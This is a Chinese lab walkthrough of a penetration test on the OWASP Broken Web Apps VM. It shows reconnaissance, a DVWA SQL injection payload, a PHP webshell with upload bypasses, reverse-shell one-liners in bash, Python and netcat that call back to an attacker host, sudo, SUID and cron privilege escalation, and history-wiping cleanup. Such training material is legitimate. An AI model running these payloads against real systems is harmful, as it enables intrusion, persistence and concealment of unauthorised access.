从信息收集到权限提升:一次完整的渗透测试实战演练

1. 项目概述:一次完整的渗透测试实战演练

最近在整理自己的渗透测试学习笔记,翻到了之前做的一个OWASP靶机项目。这个项目非常经典,几乎涵盖了从外部信息收集到最终获取主机控制权的完整流程,对于想从理论过渡到实战的朋友来说,是个绝佳的练手材料。它不是那种一个漏洞直接拿到权限的“快餐”靶机,而是需要你像真正的渗透测试工程师一样,一步步地侦察、分析、尝试、突破,最终达成目标。整个过程下来,不仅能巩固OWASP Top 10里常见的Web漏洞知识,还能把Kali Linux里的各种工具串联起来用,对建立渗透测试的思维框架特别有帮助。

我用的靶机是来自VulnHub平台的“Broken Web Apps (BWA)”,它集成了多个存在漏洞的Web应用,模拟了一个小型网络环境。我们的目标很明确:从外部网络发现这个靶机,收集尽可能多的信息,找到Web应用的入口点,利用漏洞逐步深入,最终拿到靶机操作系统的最高权限(root shell)。这听起来像是一个标准的“黑盒测试”场景,你只知道一个IP段,其他一无所知,所有信息都需要靠自己的技术和工具去挖掘。接下来,我就把这次实战的完整过程、踩过的坑以及一些个人心得,详细地记录下来。

2. 环境准备与目标确认

2.1 实验环境搭建

工欲善其事,必先利其器。一个稳定、隔离的实验环境是安全测试的前提。我的基础环境是VMware Workstation,创建了两个虚拟机。攻击机自然是Kali Linux,我选择了2023.4的版本,它集成了我们所需的大部分工具。目标靶机就是上面提到的OWASP Broken Web Apps (BWA) VM。这里有个关键点:网络模式必须设置为“NAT”或“仅主机模式”,确保测试网络与我的物理机及互联网隔离,避免意外扫描到外部真实资产,这是安全测试的伦理底线。

在启动BWA靶机后,第一件事不是急于扫描,而是确认它的网络配置。我通过靶机控制台(如果提供)或猜测其使用DHCP,来获取它的IP地址。通常,在NAT网络下,我们可以通过查看VMware的虚拟网络编辑器,或者直接在Kali中使用netdiscover这样的ARP扫描工具来快速定位同一网段内新上线的设备。命令很简单:sudo netdiscover -r 192.168.xxx.0/24(将xxx替换为你的虚拟网段)。很快,我就发现了一个新的IP地址,其MAC地址前缀与VMware虚拟机吻合,这大概率就是我们的目标靶机了。记下这个IP,我们所有的后续操作都将围绕它展开。

注意:在实际授权测试中,目标的IP地址或域名范围会由客户明确提供。在自制实验环境中,我们通过扫描发现目标,但务必确保扫描范围仅限于你的实验网络内。

2.2 明确测试边界与目标

在开始任何技术动作之前,明确“游戏规则”至关重要。本次测试的边界是单一IP地址(即BWA靶机),我们的目标是获取该主机的最高控制权限。测试类型为“黑盒”,即我们除了一个IP,对目标系统的技术栈、开放服务、应用类型一无所知。这模拟了外部攻击者最初始的视角。我们需要遵循一个基本的渗透测试流程:信息收集 -> 漏洞扫描与分析 -> 漏洞利用 -> 权限提升 -> 报告整理。当然,在实战中,后渗透(内网横向移动、数据窃取等)也是重要环节,但在这个单机靶场中,我们以拿到root权限为最终标志。

3. 全方位信息收集与侦察

信息收集是渗透测试中耗时最长、也最考验耐心的阶段,但它往往决定了后续攻击路径的成败。收集的信息越全面,攻击的面就越广,成功率也越高。我对目标IP展开了多层次的信息收集。

3.1 主机发现与端口扫描

虽然我们已经通过netdiscover找到了IP,但正式的端口扫描是了解目标开放服务的窗口。我首选Nmap这个神器。首先进行一次快速扫描,了解目标的活动状态和最明显的端口:sudo nmap -sS -T4 <靶机IP>-sS代表TCP SYN半开放扫描,速度快且相对隐蔽;-T4指定扫描速度。扫描结果显示,目标主机开放了22(SSH)、80(HTTP)和443(HTTPS)端口。这是一个非常典型的Linux服务器端口配置。

为了获取更详细的信息,我接着进行了服务版本探测和脚本扫描:sudo nmap -sV -sC -O -p 22,80,443 <靶机IP>。参数解释:-sV探测服务版本,-sC使用默认的Nmap脚本进行漏洞和基本信息探测,-O尝试识别操作系统,-p指定扫描的端口。这次扫描返回了宝贵信息:SSH服务是OpenSSH 6.7p1,Web服务器是Apache 2.4.10,操作系统可能是Ubuntu。这些版本信息将成为我们后续搜索漏洞的重要依据。

3.2 Web应用指纹识别与目录枚举

既然80和443端口开放,Web应用无疑是主要的攻击入口。我首先用浏览器访问了http://<靶机IP>。页面显示了一个索引页,列出了BWA套件中包含的多个漏洞应用,如Mutillidae、DVWA、WebGoat等。这太好了,等于直接给了我们一个“漏洞菜单”。但我们的侦察不能止步于此。

我使用WhatWebWappalyzer(浏览器插件)对主页面进行了指纹识别,确认了Apache版本、PHP版本等信息。接着,针对重要的应用路径(比如看起来像后台的/admin,或者像管理入口的/phpmyadmin),需要进行目录和文件枚举。我使用了Gobuster这个工具,它比传统的Dirb速度更快。命令如下:gobuster dir -u http://<靶机IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html。这个命令的意思是,针对目标URL,使用common.txt这个字典进行目录爆破,并尝试.php,.txt,.html等扩展名。扫描结果除了已知应用,还可能暴露出备份文件(如index.php.bak)、配置文件、日志文件等,这些往往是敏感信息泄露的来源。

3.3 针对性漏洞搜索与初步分析

根据Nmap扫描到的服务版本(Apache 2.4.10, OpenSSH 6.7p1)和Web应用指纹(PHP 5.x),我开始在漏洞数据库(如Exploit-DB、NVD)和搜索引擎中搜索相关的公开漏洞。例如,搜索“Apache 2.4.10 exploit”或“OpenSSH 6.7p1 vulnerability”。同时,针对BWA套件中已知的应用(如DVWA),我回忆或搜索其常见的漏洞类型和利用方式。这个阶段的目的不是盲目攻击,而是建立潜在的攻击向量清单,比如:DVWA可能存在SQL注入或文件上传漏洞,某个PHP版本可能存在解析漏洞,等等。

4. 漏洞利用与横向突破

信息收集完成后,我们手头有了一张“地图”:开放的服务、运行的应用、潜在的漏洞点。现在需要选择最有可能的路径进行突破。我决定从Web应用入手,因为其交互性高,攻击面大。

4.1 Web漏洞利用实例:以SQL注入获取初步立足点

我选择了DVWA(Damn Vulnerable Web Application)作为第一个突破口。将安全级别设置为“Low”后,我直奔“SQL Injection”模块。在输入框尝试经典的注入探测',页面返回了数据库错误信息,确认存在注入点。接下来,使用联合查询(Union Based)注入来获取数据。通过order by子句判断字段数,然后构造Union查询,将数据库版本、当前用户等信息显示出来。

关键的步骤是尝试获取数据库中的用户凭据。DVWA的数据库里通常有users表,包含userpassword字段。我构造了这样的注入Payload:' union select user, password from users#。成功执行后,页面上返回了管理员(通常是admin)的密码哈希值(MD5格式)。拿到哈希值后,我使用John the Ripper或在线彩虹表(如CrackStation)进行破解。运气不错,密码强度不高,很快就被破解出来,得到了明文密码。

实操心得:在真实场景中,Web应用的后台密码可能直接用于登录SSH或其他服务(用户密码复用)。因此,拿到Web后台密码后,一定要尝试用它去登录SSH(ssh admin@<靶机IP>)。在这个靶机中,这个思路很可能行得通。

4.2 利用文件上传漏洞获取WebShell

如果SQL注入没能直接拿到可用的系统权限,或者想建立一个更稳定的后门,文件上传漏洞是另一个绝佳选择。在DVWA或Mutillidae中,通常存在文件上传功能,并且在前端或后端校验不严。我准备了一个一句话PHP WebShell,内容为<?php system($_GET[‘cmd’]);?>,将其保存为shell.php

如果应用只检查客户端(JavaScript)验证,直接禁用浏览器JS或使用Burp Suite拦截修改请求即可绕过。如果服务端检查了文件扩展名,可以尝试多种绕过技巧:将文件命名为shell.php.jpg(利用解析漏洞)、使用双扩展名shell.php.jpg、在Burp中修改Content-Typeimage/jpeg,或者利用空字节截断(如shell.php%00.jpg,取决于PHP版本)。上传成功后,通过浏览器访问这个WebShell文件,并附加?cmd=whoami参数,如果页面返回了当前Web服务的运行用户(如www-data),则说明我们成功地在服务器上执行了系统命令,获得了初步的代码执行能力。

4.3 从WebShell到反向Shell

在WebShell中执行单条命令很不方便,且交互性差。我们需要升级为一个完整的反向Shell(Reverse Shell),将靶机的命令行会话反弹到我们攻击机的监听端口上。在Kali上,我使用Netcat监听一个端口:nc -lvnp 4444。然后在WebShell中,执行一个反向连接的命令。根据靶机环境的不同,有多种Payload可选:

  • Bash反向Shellbash -c ‘bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1’
  • Python反向Shellpython -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<攻击机IP>”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
  • 使用nc工具:如果靶机安装了netcat,且支持-e参数,则更简单:nc <攻击机IP> 4444 -e /bin/bash

将上述命令中的<攻击机IP>替换为你的Kali IP,通过WebShell的cmd参数执行。如果一切顺利,你会在Kali的Netcat监听窗口看到一个来自靶机的bash提示符,通常用户是www-data。至此,我们成功地从外部Web漏洞渗透进了系统内部,获得了一个低权限的Shell。

5. 权限提升与主机控制

拿到www-data这类Web服务用户的Shell,只是万里长征第一步。这个权限通常受限,无法查看敏感文件(如/etc/shadow)、无法安装软件、无法进行重要的系统配置。我们的最终目标是root权限。这个过程称为权限提升(Privilege Escalation),分为纵向提权(提升到root)和横向提权(切换到其他高权限用户)。

5.1 信息收集(内部)

在提权之前,需要在靶机内部进行新一轮信息收集,寻找可能的提权路径。我通常会运行一些脚本或手动检查以下信息:

  1. 系统信息uname -a(内核版本),cat /etc/issuecat /etc/*release(发行版信息)。
  2. 用户和组id(当前用户权限),cat /etc/passwd(所有用户),sudo -l(检查当前用户可以以root身份运行哪些命令,这是黄金线索)。
  3. 进程与服务ps auxtop(查看运行进程),netstat -tulpn(查看网络连接和监听端口)。
  4. 计划任务crontab -l(当前用户的计划任务),ls -la /etc/cron*(系统计划任务目录)。
  5. SUID/GUID文件:查找设置了SUID位且属主是root的可执行文件,这可能是提权点。命令:find / -perm -u=s -type f 2>/dev/null
  6. 可写文件与目录:查找全局可写的敏感目录或文件,尤其是计划任务脚本、服务启动脚本等。命令:find / -writable -type d 2>/dev/null

5.2 常见提权路径分析与实战

根据内部信息收集的结果,选择最有可能的路径进行尝试。

路径一:利用sudo权限运行sudo -l后,如果返回类似(ALL : ALL) NOPASSWD: /usr/bin/vim这样的结果,那就中大奖了。这意味着当前用户可以不用密码,以root身份运行vim编辑器。那么,我们可以通过sudo vim打开vim,然后在vim中执行系统命令来获取一个root shell::!bash:!/bin/sh。类似的可利用程序还有find,awk,more,less,nmap(交互模式)等。关键在于sudo -l列出的命令是否允许以root身份执行,以及该命令能否被用来启动一个shell或读写敏感文件。

路径二:利用SUID可执行文件如果发现一个不常见的、属主为root且设置了SUID位的可执行文件,可以去Exploit-DB(searchsploit)搜索该二进制文件的本地提权漏洞。更经典的一个例子是/usr/bin/find。如果它有SUID位,我们可以利用它来提权:find . -exec /bin/bash -p \;-exec参数会让find执行后面的命令,而由于find以root权限运行,它执行的/bin/bash也会继承root权限,-p参数告诉bash保留有效用户ID。

路径三:内核漏洞提权通过uname -a获取内核版本,然后在Kali上使用searchsploit linux kernel <版本号>搜索公开的内核漏洞利用代码(Exploit)。例如,著名的Dirty Cow(CVE-2016-5195)漏洞影响范围极广。找到对应的Exploit后,将其上传到靶机(可以用Python的HTTP模块在Kali启一个简易服务器,然后用靶机的wgetcurl下载),编译并执行。但这里有一个巨大的坑:很多Exploit代码在编译时依赖特定的头文件或库,而靶机环境可能没有编译环境(如gcc)。因此,更稳妥的方法是在与靶机相同发行版和内核版本的机器上预先编译好,再将二进制文件上传执行。

路径四:利用计划任务(Cron Jobs)检查系统计划任务时,如果发现一个以root身份定期运行的脚本,并且这个脚本当前用户有写入权限,那么就可以通过修改这个脚本内容,植入我们的反向Shell命令,等待计划任务执行,从而获得root权限的Shell。例如,发现/etc/cron.hourly/backup.sh是root每小时运行一次,且www-data用户可以写,那么就可以用echo “bash -i >& /dev/tcp/<攻击机IP>/5555 0>&1” >> /etc/cron.hourly/backup.sh写入恶意代码,然后在Kali上监听5555端口,等待提权。

5.3 本次靶机提权实战记录

在本次BWA靶机中,我通过内部枚举发现了一个关键的提权向量。运行sudo -l后,显示当前www-data用户可以以root身份,无需密码,运行/usr/bin/php。这是一个非常清晰的提权路径。

利用方法很简单,因为php可以执行系统命令。我直接运行:sudo php -r “system(‘/bin/bash’);”-r参数允许直接在命令行中运行PHP代码,system()函数用于执行系统命令。由于sudo赋予了这条命令root权限,因此执行的/bin/bash就是一个具有root权限的Shell。执行后,命令提示符从$变成了#,输入id命令确认,用户已经变成了root。至此,我们成功完成了从外部信息收集到获取主机最高控制权的全过程。

重要注意事项:在真实渗透测试或CTF比赛中,拿到root权限后,第一件事往往是读取/etc/shadow文件获取所有用户密码哈希,或者查看/root目录下的敏感文件(如历史记录、SSH密钥、flag文件等)。但在授权测试中,必须严格遵守测试范围,不得触碰与目标无关的数据。

6. 后渗透清理与痕迹管理

在授权测试中,测试结束后清理痕迹是职业操守的体现。虽然本次是本地靶场,但养成好习惯很重要。需要清理的痕迹包括:上传的WebShell文件、在系统中创建的临时文件、下载的Exploit二进制文件、以及各种日志(如Web访问日志、命令历史等)。例如,删除WebShell:rm /var/www/html/shell.php;清除当前用户的命令历史:history -c && rm ~/.bash_history。对于修改过的文件(如计划任务脚本),要记得恢复原状。在真实环境中,这些操作需要格外小心,避免对系统造成意外损害。

7. 工具链总结与心得分享

回顾整个流程,用到的核心工具链如下:

  • 信息收集Nmap(端口/服务扫描)、Gobuster/Dirb(目录枚举)、WhatWeb(Web指纹)、浏览器开发者工具。
  • 漏洞利用:浏览器手动测试、Burp Suite(拦截改包)、Sqlmap(自动化SQL注入,但手动理解更重要)。
  • 权限提升LinPEASLinEnum(自动化Linux提权信息收集脚本,强烈推荐)、searchsploit(搜索漏洞利用代码)。

踩过最大的坑就是“想当然”。比如,看到一个服务版本就急于去找对应的远程漏洞利用,却忽略了近在眼前的Web应用漏洞。或者,在提权时只盯着内核漏洞,没有仔细检查sudo -l和SUID文件这些更简单直接的路径。渗透测试的本质是信息战,耐心和细致的信息收集永远比盲目的攻击尝试更有效。这个OWASP靶机就像一本好的教科书,它把多个知识点串联在一个真实的环境里,迫使你去思考、去串联、去解决一个又一个问题。对于新手而言,我建议每一步都手动操作,理解其原理,然后再尝试使用自动化工具提高效率。毕竟,工具是手臂,思维才是大脑。